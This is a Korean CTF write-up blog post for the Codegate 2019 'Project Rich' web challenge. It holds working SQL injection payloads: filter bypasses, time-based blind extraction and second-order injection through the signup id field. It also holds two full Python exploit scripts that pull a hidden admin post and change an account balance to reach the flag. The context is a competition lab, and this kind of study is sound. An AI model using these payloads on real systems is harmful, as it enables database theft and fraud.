현재 Writup 제출 기간인 것 같지만 웹 서버 같은 경우 언제 닫힐지 몰라 닫히기 전에 Writeup을 적어놔야 할 것 같아서 비공개로 기록해놓았다. 추후 Writeup이 CtfTime이나 개인블로그 등에 올라오면 공개로 전환하도록 하겠다.


먼저 풀이에 앞서, 해당 문제는 대회시간안에 풀지못하고 대회 종료 후 1시간정도 지나 풀게되어 많이 아쉬움이 남았다..ㅠㅠ


24시간이상 깨어있는 상태로 문제풀어본게 처음이라 대회종료 몇시간전부터는 너무 졸려서 생각없이 얻어걸려라 하는 식으로 문제를 바라봤던게 화근이었던 것 같다.


문제 풀이에 대해 시작해보면 로그인한 계정으로 999999999원짜리 상품을 사야하는데, 기본적으로 주어지는돈이 10000원이다. 대충 금액을 조작해서 위 상품을 사야할 것 같았다.


본격적으로 취약점을 찾아보면 회원가입 시 ac 파라미터에서 SQLI가 터졌다. 코인을 사고파는 페이지 내 MASTER 패스워드를 구하라는 주석이 있었고, 회원가입 시 admin이라는 문자열이 필터링당하고 있어 일단 해당 취약점을 통해 admin 계정의 패스워드를 구해야 할 것 같았다.


본격적으로 데이터를 뽑아보려하니 where,group,concat,limit와 같은 키워드들이 필터링당하고 있어 특정 조건의 데이터 뽑기가 쉽지 않았다.


일단 아래와 같이 having절을 통해 users라는 테이블이 존재하는 걸 알 수 있었고,


having table_name like 0x757365727325


해당 테이블 내 칼럼명과 같은 경우는 회원가입 시 요청하는 파라미터명과 동일하여 테이블 내 데이터를 뽑을 수 있는 상황이 되었다.


일단 어드민을 지정하여 데이터를 뽑을 수가 없어 패스워드가 어떤형태로 디비에 저장되는지 아래와 같은 코드를 통해 확인해보았다.



import requests

import time


def request(payload):

    start = time.time()

    url = "http://110.10.147.112/?p=reg"

    data = {'id':'345234aaa','pw':'123456','ac':payload}

    headers = {'Cookie':'PHPSESSID='}

    response = requests.post(url,data=data,headers=headers)

    end = time.time()

    return end-start


length = 0

data = ""

binary = ""

for j in range(1,100):

    binary = ""

    for i in range(1,9):

        payload = "'),(if(substring(lpad(bin(ord(substring((select max(pw) from users a),"+str(j)+",1))),8,0),"+str(i)+",1)=1,(select 1 union select 2),sleep(0.5)),238333343453453454359222023840234,2342342333333333333333333333333333333333333333333333333333333333333333334234)#"

        if request(payload)>0.3:

            binary += "0"

        else:

            binary += "1"

    data += chr(int(binary,2))

    print "[-]Find Data = " + data


print "[*]Find Data = " + data


패스워드와 같은 경우 sha1으로 저장되고 있었다. 또한 salt값 없이 데이터를 sha1 처리하고 있어서 아래와 같은 구문을 통해 id값에 SQLI 구문을 담아 indirect SQLI를 터트릴 수 있었다.


 '),(인젝션 값,sha1(1234),1234)#


이제 id에 SQLI구문을 담아 info, board 페이지를 들어가보면 indirect 인젝션이 터지는 걸 볼 수 있는데, 여기서 union 구문을 통해 info 페이지 접근 시 gold 값을 조작할 수 있지 않을까 싶었다.


그래서 ' union select 1,2,3,4,5# 요런식으로 값을 id에 담고 시도해보니 2번째 칼럼값이 gold에 지정되는걸 볼 수 있었다.


이제 ' union select 1,999999999,3,4,5# 이렇게 지정해서 상품을 구매하면 되겠구나 했는데 id값에 길이제한이 32로 제한되어있었고 위의 구문이 33글자였다. 여기서 한참 고민하다 ' union select 1,1e9,3,4,5# 요런식으로 길이제한을 bypass 할 수 있는 방법이 떠올랐고 실제로 시도해보니 1000000000원이 충전되어서 상품을 구매할 수 있었다.


여기서 끝나겠구나 했는데 실제로 상품을 사보니 이번엔 who are you?라는 문구를 통해 계정을 구매한 사용자에 대한 검증을 하고 있었다.


사용자 검증을 우회해보려고 아래와 같은 구문들을 막 넣어보았는데 잘 되지 않았다.


' union select'admin',1e9,3,4,5#

admin'union select 1,1e9,3,4,5#

' union select "'||1#",1e9,3,4,5#

등등..


이때가 새벽 5시인가 되었는데 너무 졸리다 보니 저 구문에서 어떻게든 끝나길 바래서 다른 부분들을 생각하지 못하고 얻어걸려라 하는식으로 생각없이 아무값이나 넣고 있었다.


그러다 도저히 안풀려서 다른 페이지들에 접근해보니 문제풀기 초반에 봤었던 마스터 패스워드를 구하라는 구문과 게시판 내 존재하던 관리자의 비밀글이 눈에 들어오기 시작했다. 


master 계정 패스워드와 같은 경우 디비에 존재할거라 생각했는데 딱히 master,admin으로 보이는 계정의 패스워드를 디비에서 찾지 못해서 중요한게 아닌가?하고 넘어갔었는데 마스터 계정 패스워드가 비밀글에 있을 수 있다는 생각을 하지 못했던게 문제였다. 아 비밀글 데이터를 인젝션으로 뽑아야겠구나..라고 깨닫았을 때가 6~7시쯤이었는데 이미 지칠대로 지쳐버렸고 시간도 얼마 안남아서 새로 코드짜서 문제 풀기엔 무리겠구나 라는 생각에 포기하고 집으로 돌아왔다..ㅠㅠ


그 후 집에와서 대회는 종료되었지만, 아쉬운 마음에 조금 더 문제를 풀어보았고 아래와 같은 코드를 통해 어드민의 비밀글 내 존재하는 마스터 패스워드를 구할 수 있었다. 그 후 구한 패스워드로 비밀번호가 걸려있든 압축된 소스파일을 해제해보면 플래그를 얻기 위해 아래와 같이 금액 조작 후 마스터 패스워드를 같이 보내주면 되는걸 알아낼 수 있었다.




최종적으로 익스한 코드는 아래와 같다.


codegate2019_ProjectRich_exploit.py


import requests

import random


def request_join(payload):

    url = "http://110.10.147.112/?p=reg"

    data = {'id': "youngsin"+str(int(random.random()*100000000000)), 'pw': '123456', 'ac': "'),("+payload+",sha1(1234),1234)#"}

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.post(url, data=data, headers=headers)



def request_logout():

    url = "http://110.10.147.112/?p=logout"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)


def request_login(payload):

    url = "http://110.10.147.112/?p=login"

    data = {'id': payload, 'pw': '1234', 'ac': '1234'}

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.post(url, data=data, headers=headers)


def request_bbsView():

    url = "http://110.10.147.112/?p=bbs&page=1"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)

    if "<td>-1</td><td><a href=./?p=read&no=-1>TOP SECRET" in response.text:

        return True

    else:

        return False


def get_master_password():

    result = ""

    for i in range(0, 200):

        for j in range(0, 127):

            payload = "'||substr(contents," + str(i) + ",1)=" + hex(j) + "#"

            request_join("0x" + payload.encode("hex"))

            request_logout()

            request_login(payload)

            if request_bbsView() == True:

                result += chr(j)

                print result

                request_logout()

                break

            else:

                request_logout()


def get_flag():

    payload = "r'union select 7,9e9,1,2,3#"

    request_logout()

    request_join("0x" + payload.encode("hex"))

    request_logout()

    request_login(payload)


    url = "http://110.10.147.112/?p=pay&key=D0_N0T_RE1E@5E_0THER5"

    headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}

    response = requests.get(url, headers=headers)

    result = response.text

    print "FIND Flag[*] = " + result[result.find("FLAG"):]



if __name__ == "__main__":

    get_master_password()  ## get master password = D0_N0T_RE1E@5E_0THER5

    get_flag()




FIND Flag[*] = FLAG{H0LD_Y0UR_C0IN_T0_9999-O9-O9!}















'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
INSOMNIHACK CTF TEASER 2019 Phuck2 :(  (0) 2019.01.22
Insomnihack CTF Teaser 2019 l33t-hoster  (0) 2019.01.21
ROOT CTF 2017 ROOT Ransomware  (0) 2019.01.02
블로그 이미지

JeonYoungSin

메모 기록용 공간

,